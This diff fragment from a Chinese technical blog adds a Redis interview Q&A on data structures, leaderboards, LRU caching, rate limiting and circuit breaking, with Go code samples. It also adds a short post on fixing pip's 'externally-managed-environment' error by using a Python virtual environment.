+### 应用场景问题 + +> 假设需要设计一个排行榜系统,会如何利用Redis的数据结构来实现? + +有序集合(Sorted Set): 我们可以使用有序集合来存储排行榜数据。在这个有序集合中,每个成员(member)代表一个参与排名的对象(例如,用户ID),而每个成员对应的分数(score)则代表该对象的排名依据(例如,用户积分)。 + +基本操作 +添加/更新排名: 使用ZADD命令将一个成员及其分数添加到有序集合中。如果该成员已经存在,ZADD会更新其分数。 + +```shell +ZADD leaderboard 100 user1 +ZADD leaderboard 150 user2 +``` +获取排名: 使用ZRANK或ZREVRANK命令获取一个成员的排名(基于0的索引,分数从小到大或从大到小)。 + +```shell +ZRANK leaderboard user1 +ZREVRANK leaderboard user1 +``` +获取分数区间内的成员: 使用ZRANGEBYSCORE或ZREVRANGEBYSCORE命令。 + +```shell +ZRANGEBYSCORE leaderboard 100 200 +``` +获取Top N名: 使用ZREVRANGE命令获取分数最高的N个成员。 + +```shell +ZREVRANGE leaderboard 0 9 +``` +删除成员: 使用ZREM命令从排行榜中删除一个或多个成员。 + +```shell +ZREM leaderboard user1 +``` +分数增减: 使用ZINCRBY命令来增加或减少成员的分数。 + +```shell +ZINCRBY leaderboard 10 user1 +``` + +高级功能 +分页: 通过ZRANGE或ZREVRANGE与LIMIT和OFFSET参数,可以实现排行榜的分页显示。 + +实时更新: 由于Redis的高性能,可以轻易地在用户产生新的分数后实时更新排行榜。 + +数据持久化: 虽然Redis主要是一个内存数据库,但它也提供了多种数据持久化选项,以防数据丢失。 + +通过综合运用这些操作和特性,可以构建一个功能丰富、响应迅速的排行榜系统。 + +> 如何使用Redis的数据结构来实现一个缓存失效策略(比如LRU)? + +使用Redis自带的LRU策略 +设置最大内存和失效策略: 在Redis配置文件或启动命令中设置maxmemory和maxmemory-policy。 + +```shell +maxmemory 100mb +maxmemory-policy allkeys-lru +``` +手动实现LRU +数据存储: 使用普通的Key-Value结构来存储缓存的数据。 +```shell +SET key value +``` +访问记录: 使用一个有序集合(Sorted Set)来记录每个缓存项的访问时间戳。 + +```shell +ZADD access_times key +``` +失效检查: 在添加新的缓存项之前,检查当前缓存的数量。如果达到上限,删除最早访问的缓存项。 + +```shell +ZRANGE access_times 0 0 +DEL +ZREM access_times +``` +更新访问时间: 每次缓存项被访问时,更新其在有序集合中的时间戳。 + +```shell +ZADD access_times key +``` +通过这种方式,可以使用Redis的数据结构来手动实现一个LRU缓存失效策略。这种方法更灵活,但需要手动管理缓存的添加、删除和更新 + +> 描述一个实际场景,会使用Redis的哪种数据结构来解决问题,为什么? + +### 编程练习 + +如果需要编写代码来解决某个问题,会如何使用Redis的某个特定数据结构?请给出一个代码示例。 + +> 请编写一个简单的Go 脚本,使用Redis的列表数据结构来实现一个生产者-消费者队列。 + +```go +package main + +import ( + "context" + "fmt" + "github.com/go-redis/redis/v8" + "sync" + "time" +) + +var ctx = context.Background() + +func producer(rdb *redis.Client, queueName string, itemCount int) { + for i := 0; i < itemCount; i++ { + message := fmt.Sprintf("Message %d", i) + rdb.LPush(ctx, queueName, message) + fmt.Println("Produced:", message) + time.Sleep(1 * time.Second) + } +} + +func consumer(rdb *redis.Client, queueName string, workerId int) { + for { + message, err := rdb.RPop(ctx, queueName).Result() + if err != redis.Nil && err != nil { + fmt.Println("Error:", err) + return + } + if err == redis.Nil { + fmt.Println("Queue is empty") + time.Sleep(1 * time.Second) + continue + } + fmt.Printf("Consumed by worker %d: %s\n", workerId, message) + } +} + +func main() { + rdb := redis.NewClient(&redis.Options{ + Addr: "localhost:6379", + }) + + var wg sync.WaitGroup + + // Start producer + wg.Add(1) + go func() { + defer wg.Done() + producer(rdb, "myQueue", 10) + }() + + // Start consumers + for i := 1; i <= 3; i++ { + wg.Add(1) + go func(workerId int) { + defer wg.Done() + consumer(rdb, "myQueue", workerId) + }(i) + } + + // Wait for all producers and consumers to finish + wg.Wait() +} + +``` +> 设计一个简单的缓存系统,使用Redis的哈希数据结构来存储对象的多个字段。 +```go +package main + +import ( + "context" + "fmt" + "github.com/go-redis/redis/v8" +) + +var ctx = context.Background() + +// User is a simple struct to hold user data +type User struct { + ID string + Name string + Email string +} + +// SaveUser saves a user object to Redis using hash data structure +func SaveUser(rdb *redis.Client, user *User) error { + // Use HSet to save multiple fields of a user object in a hash with user ID as the key + return rdb.HSet(ctx, user.ID, map[string]interface{}{ + "Name": user.Name, + "Email": user.Email, + }).Err() +} + +// GetUser retrieves a user object from Redis using the user ID +func GetUser(rdb *redis.Client, userID string) (*User, error) { + // Use HGetAll to retrieve all fields of a user object from a hash with user ID as the key + fields, err := rdb.HGetAll(ctx, userID).Result() + if err != nil { + return nil, err + } + + // Check if user exists + if len(fields) == 0 { + return nil, fmt.Errorf("User not found") + } + + return &User{ + ID: userID, + Name: fields["Name"], + Email: fields["Email"], + }, nil +} + +func main() { + // Initialize Redis client + rdb := redis.NewClient(&redis.Options{ + Addr: "localhost:6379", + }) + + // Create a new user object + user := &User{ + ID: "1", + Name: "John Doe", + Email: "john.doe@example.com", + } + + // Save user object to Redis + if err := SaveUser(rdb, user); err != nil { + fmt.Println("Error saving user:", err) + return + } + + // Retrieve user object from Redis + retrievedUser, err := GetUser(rdb, "1") + if err != nil { + fmt.Println("Error retrieving user:", err) + return + } + + fmt.Printf("Retrieved User: %+v\n", retrievedUser) +} + +``` +> 请使用Redis的有序集合(Sorted Set)来实现一个简单的排行榜功能。 + +```go +package main + +import ( + "context" + "fmt" + "github.com/go-redis/redis/v8" +) + +var ctx = context.Background() + +// AddUserScore 添加用户分数到排行榜 +func AddUserScore(rdb *redis.Client, userID string, score float64) error { + return rdb.ZAdd(ctx, "leaderboard", &redis.Z{ + Score: score, + Member: userID, + }).Err() +} + +// ShowTopUsers 显示排行榜上的前N名用户 +func ShowTopUsers(rdb *redis.Client, n int64) ([]redis.Z, error) { + return rdb.ZRevRangeWithScores(ctx, "leaderboard", 0, n-1).Result() +} + +func main() { + // 初始化Redis客户端 + rdb := redis.NewClient(&redis.Options{ + Addr: "localhost:6379", + }) + + // 添加用户分数到排行榜 + if err := AddUserScore(rdb, "user1", 100); err != nil { + fmt.Println("Error adding score:", err) + return + } + if err := AddUserScore(rdb, "user2", 200); err != nil { + fmt.Println("Error adding score:", err) + return + } + if err := AddUserScore(rdb, "user3", 150); err != nil { + fmt.Println("Error adding score:", err) + return + } + + // 显示排行榜上的前3名用户 + topUsers, err := ShowTopUsers(rdb, 3) + if err != nil { + fmt.Println("Error getting top users:", err) + return + } + + fmt.Println("Top 3 Users:") + for i, z := range topUsers { + fmt.Printf("%d: %s (Score: %f)\n", i+1, z.Member, z.Score) + } +} +``` +### 性能和优化问题 + +> 在什么情况下,使用Redis的集合(Set)比使用列表(List)更高效? + +去重操作 +集合(Set):自动去重。 +列表(List):需要手动去重,通常需要O(N)的时间复杂度。 +如果需要存储不重复的元素,那么使用集合会更高效。 + +成员检查 +集合(Set):O(1)时间复杂度。 +列表(List):O(N)时间复杂度。 +如果需要频繁地检查某个元素是否存在,集合会提供更高的性能。 + +无序集合 +集合(Set):不保证元素的顺序。 +列表(List):保持元素的插入顺序。 +如果元素的顺序不重要,那么集合通常会是一个更好的选择。 + +数据交集、并集、差集 +集合(Set):原生支持这些操作,通常是O(N)或更好。 +列表(List):需要手动实现,时间和空间复杂度都不理想。 +如果需要进行这些集合操作,使用Redis的集合会更高效。 + +空间效率 +集合(Set):由于自动去重,通常更空间有效。 +列表(List):如果有重复元素,会浪费更多空间。 +如果空间是一个考虑因素,并且的数据有很多重复项,那么集合可能是一个更好的选择。 + + + +> Redis的哪些数据结构更适合高并发环境? + +字符串(String) +适用场景:计数器、缓存、分布式锁。 +优点:原子操作如INCR、DECR等可以用于实现计数器,非常适合高并发环境。 + +列表(List) +适用场景:消息队列、活动列表、时间线。 +优点:LPUSH、RPOP等操作可以用于实现高并发的队列。 + +集合(Set) +适用场景:标签、关注者列表、实时分析。 +优点:支持快速的添加、删除和查找,适用于需要去重的高并发场景。 + +有序集合(Sorted Set) +适用场景:排行榜、时间序列数据。 +优点:除了集合的所有优点外,还可以按照分数进行排序,适用于需要排序功能的高并发场景。 + +哈希(Hash) +适用场景:对象存储、缓存。 +优点:当需要存储多个相关字段并且经常需要更新它们时,哈希是一个很好的选择。 + +Bitmaps 和 HyperLogLogs +适用场景:统计和去重。 +优点:非常空间效率,适用于高并发和大数据量。 + +地理空间索引(Geospatial) +适用场景:地理位置相关的查询。 +优点:提供了一系列地理空间相关的函数,适用于需要快速地理查询的高并发场景。 + + +> 如何优化Redis的哈希(Hash)以减少内存使用? + +Hash字段压缩:使用短的字段名,因为在哈希里,每个字段名都会被存储。 +Hash对象编码:当哈希对象(Hash Object)的大小小于hash-max-ziplist-entries(默认512)并且每个字段的大小小于hash-max-ziplist-value(默认64)时,Redis会使用ziplist(压缩列表)而不是普通的哈希表来存储哈希对象,从而减少内存使用。 + +懒惰删除和更新:只在必要时添加或删除字段,以减少内存碎片和CPU使用。 + +批量操作:使用HMGET和HMSET进行批量获取和设置,以减少网络开销和CPU使用。 + +> Redis的数据结构有没有什么局限性或者缺点?如何解决或规避? + +内存使用:Redis是基于内存的,大数据集可能会导致高内存使用。 + +单线程模型:虽然这简化了很多操作,但它也限制了Redis在多核CPU环境中的性能。 + +持久化开销:某些持久化选项(如AOF)可能会影响性能。 + +复杂数据结构的局限性:例如,Redis的列表和集合不支持复杂的查询。 + +分布式支持:Redis Cluster解决了这个问题,但增加了复杂性。 + +内存优化:使用适当的数据结构和配置,如上面提到的哈希优化。 + +使用多实例或分片:以充分利用多核CPU。 + +合理配置持久化:根据需求选择合适的持久化策略。 + +应用层查询支持:对于复杂查询,可以在应用层进行处理。 + +使用Redis Cluster或代理:对于需要高可用性 + +## Redis 熔断机制 + +### 基础理论问题 + +> 请解释一下什么是熔断机制,以及它在Redis中的应用场景。 + +熔断机制是一种自我保护机制,用于防止系统在异常或高负载情况下崩溃。当系统检测到某个服务(例如Redis)出现问题时,熔断器会“断开”,阻止进一步的请求,以便给系统时间进行恢复。熔断器有三个主要状态:关闭(Closed)、开启(Open)和半开(Half-Open)。 + +> 熔断和限流有什么区别?在Redis中如何实现这两者? + +熔断在Redis中的应用场景 +高并发环境:在高并发的情况下,Redis可能会成为瓶颈。熔断机制可以防止因过多的请求而导致的Redis崩溃。 +网络延迟或不稳定:如果Redis服务器或网络出现延迟,熔断机制可以防止这种延迟对整个系统的影响。 +资源限制:当Redis的内存或CPU达到限制时,熔断可以防止进一步的负载,给系统时间进行优化或扩容。 + +熔断和限流的区别 +目的:熔断主要是为了系统的自我保护,当某个服务出现问题时,阻止对该服务的进一步访问。限流则是为了控制进入系统的请求速率,确保系统能在可接受的范围内处理这些请求。 +应用层次:熔断通常应用于服务或组件级别,而限流则更多地应用于API或用户级别。 +触发条件:熔断通常由错误率、延迟等触发,而限流则由请求速率触发。 + +在Redis中如何实现这两者 + +熔断:可以使用客户端库(如Hystrix、Resilience4J等)来实现熔断机制。这些库允许定义触发熔断的条件(如失败次数、响应时间等)。 +限流:Redis本身提供了一些用于限流的数据结构和算法,如漏桶算法和令牌桶算法,这些可以通过Redis的INCR、EXPIRE等命令来实现。 + +请描述一个实际场景,会如何设计一个Redis熔断机制? + + +> 实现限流的简单代码 + +```go +package main + +import ( + "fmt" + "github.com/go-redis/redis/v8" + "golang.org/x/net/context" + "time" +) + +var ctx = context.Background() + +func main() { + rdb := redis.NewClient(&redis.Options{ + Addr: "localhost:6379", + }) + + // 限制key为"rate_limit"的操作每秒只能进行5次 + key := "rate_limit" + rateLimit := 5 + for { + count, err := rdb.Incr(ctx, key).Result() + if err != nil { + fmt.Println("Error:", err) + return + } + + if count == 1 { + // 设置key的过期时间为1秒 + rdb.Expire(ctx, key, 1*time.Second) + } + + if count > rateLimit { + fmt.Println("Rate limit exceeded") + } else { + fmt.Println("Operation successful") + } + + time.Sleep(200 * time.Millisecond) + } +} + +``` + +> 实现熔断 + +```go +package main + +import ( + "fmt" + "github.com/Netflix/hystrix-go/hystrix" + "time" +) + +func main() { + hystrix.ConfigureCommand("my_command", hystrix.CommandConfig{ + Timeout: 1000, + MaxConcurrentRequests: 100, + ErrorPercentThreshold: 50, + }) + + for { + err := hystrix.Do("my_command", func() error { + // 这里是需要保护的代码 + fmt.Println("Doing some work...") + time.Sleep(20 * time.Millisecond) + return nil + }, nil) + + if err != nil { + fmt.Println("Error:", err) + } + + time.Sleep(50 * time.Millisecond) + } +} + +``` +### 应用场景问题 + +> 如果Redis服务器因为某种原因变得不可用,会如何设计熔断机制来保护应用? + +监控和指标 +监控Redis服务器的可用性和性能指标(如延迟、错误率等)。 + +定义触发条件 +定义什么样的条件会触发熔断。这些条件可能包括: +连续多次连接失败。 +响应时间超过预定阈值。 +错误率超过预定阈值。 + +状态机制 +熔断器通常有三种状态:关闭、打开和半开。 +关闭:一切正常,请求正常进行。 +打开:触发熔断条件,拒绝所有请求,直接返回错误或者从备用数据源获取数据。 +半开:在一段时间后,允许部分请求通过以检测系统是否恢复正常。 + +降级策略 +当熔断器打开时,需要有一个降级策略。这可能包括: +返回默认值。 +从备份数据源获取数据。 +将操作放入队列以便稍后处理。 + +日志和告警 +记录所有触发熔断的事件和熔断器状态的变化。 +当熔断器触发时,发送告警通知。 + +自动恢复 +在熔断器打开一段时间后,自动转换到半开状态以检测系统是否已经恢复。 + +测试 +使用混沌工程的方法来测试的熔断机制是否能在不同的故障场景下正常工作。 +示例(使用Go和Hystrix) +```go +package main + +import ( + "fmt" + "github.com/Netflix/hystrix-go/hystrix" + "github.com/go-redis/redis/v8" + "golang.org/x/net/context" +) + +var ctx = context.Background() + +func main() { + hystrix.ConfigureCommand("redis_command", hystrix.CommandConfig{ + Timeout: 1000, + MaxConcurrentRequests: 100, + ErrorPercentThreshold: 50, + }) + + rdb := redis.NewClient(&redis.Options{ + Addr: "localhost:6379", + }) + + err := hystrix.Do("redis_command", func() error { + _, err := rdb.Ping(ctx).Result() + if err != nil { + return err + } + // 正常的Redis操作 + return nil + }, func(err error) error { + // 降级策略 + fmt.Println("Fallback function: Redis is down, switch to backup!") + return nil + }) + + if err != nil { + fmt.Println("Operation failed:", err) + } +} +``` + +这样,如果Redis服务器变得不可用或响应变慢,Hystrix将触发熔断机制,执行降级策略,从而保护应用程序。 + +> 在微服务架构中,如何实现Redis熔断以保证高可用性? + +1. 分布式监控 +在微服务架构中,每个服务可能有自己的Redis实例或共享一个集群。因此,需要一个分布式监控系统来实时监控所有Redis实例的状态。 + +2. 熔断器设计 +每个微服务应该有自己的熔断器来保护与Redis的交互。这样,如果一个Redis实例出现问题,只会影响到依赖于它的微服务,而不会影响到整个系统。 + +3. 服务降级 +当熔断器触发时,微服务应该有能力进行服务降级。这可能意味着返回缓存数据、使用备份数据源或者直接返回一个错误。 + +4. 自动切换 +在某些高可用架构中,可能会有多个Redis实例或集群。当一个实例不可用时,应该能够自动切换到另一个实例。 + +5. 重试机制 +在熔断器处于半开状态时,应该有一个重试机制来检测Redis实例是否恢复正常。 + +6. 配置和动态调整 +熔断器的参数(如触发条件、时间窗口等)应该是可配置的,并且应该能够在不重启服务的情况下动态调整。 + +7. 日志和告警 +所有的熔断事件和Redis故障都应该被记录下来,并且在某些严重情况下触发告警。 + +> 请解释如何使用第三方库或工具(例如Hystrix、Resilience4J等)来实现Redis熔断。 + +### 编程问题 + +请编写一个简单的代码片段展示,如何在Go或Java中实现一个基本的Redis熔断机制。 +如何通过监控和日志来跟踪和调试Redis熔断事件? + +### 深入问题 + +在Redis集群环境中,熔断机制应该如何设计? +请解释熔断器的三个主要状态:关闭、开启和半开,并描述它们在Redis熔断中的作用。 \ No newline at end of file diff --git a/_posts/2024-3-12-test-markdown.md b/_posts/2024-3-12-test-markdown.md new file mode 100644 index 000000000000..3919bb3f19ec --- /dev/null +++ b/_posts/2024-3-12-test-markdown.md @@ -0,0 +1,81 @@ +--- +layout: post +title: 使用虚拟环境开发Python项目 +subtitle: +tags: [python] +comments: true +--- + +## 背景PaddleOCR快速开始 + +```shell +https://github.com/gongna-au/PaddleOCR/blob/release/2.7/doc/doc_ch/quickstart.md +``` + +### 1.错误 + +```shell +MacBook-Air ppocr_img % python3 -m pip install paddlepaddle -i https://mirror.baidu.com/pypi/simple +error: externally-managed-environment + +× This environment is externally managed +╰─> To install Python packages system-wide, try brew install + xyz, where xyz is the package you are trying to + install. + + If you wish to install a non-brew-packaged Python package, + create a virtual environment using python3 -m venv path/to/venv. + Then use path/to/venv/bin/python and path/to/venv/bin/pip. + + If you wish to install a non-brew packaged Python application, + it may be easiest to use pipx install xyz, which will manage a + virtual environment for you. Make sure you have pipx installed. + +note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages. +hint: See PEP 668 for the detailed specification. +``` + +### 2.解决 + +这个错误信息提示Python环境是“外部管理”的,意味着不能直接在系统级Python环境中安装包。这种情况在使用Homebrew安装的Python或者某些Linux发行版中较为常见。解决这个问题的推荐做法是使用虚拟环境,这样可以避免修改系统级Python环境,同时也能确保项目依赖的隔离和管理。 + +#### 2.1创建和激活虚拟环境 + + +在项目目录下(例如ppocr_img),运行以下命令来创建一个名为venv的虚拟环境: + +```bash +python3 -m venv venv +``` +这将在当前目录下创建一个venv文件夹,其中包含了虚拟环境的Python解释器和pip工具。 + +激活虚拟环境: + +在macOS或Linux上,使用以下命令激活虚拟环境: +```bash +source venv/bin/activate +``` +在Windows上,使用以下命令激活虚拟环境: + +```bash +.\venv\Scripts\activate +``` +激活虚拟环境后,你的命令提示符会显示虚拟环境的名称,表明你现在在虚拟环境中工作。 + +在虚拟环境中安装PaddlePaddle +一旦虚拟环境被激活,就可以在其中安装PaddlePaddle和其他依赖,而不会影响到系统级Python环境。现在,运行以下命令在虚拟环境中安装PaddlePaddle: + +```shell +pip install paddlepaddle -i https://mirror.baidu.com/pypi/simple +``` +这次能够成功安装,不会遇到之前的错误。 + +### 3.其他 + +如果经常需要使用不同的Python项目,可以考虑使用pipx来管理全局安装的Python应用,或者为每个项目使用单独的虚拟环境。 +记得在完成工作后通过运行deactivate命令来退出虚拟环境。 + +```shell +$ deactivate +``` +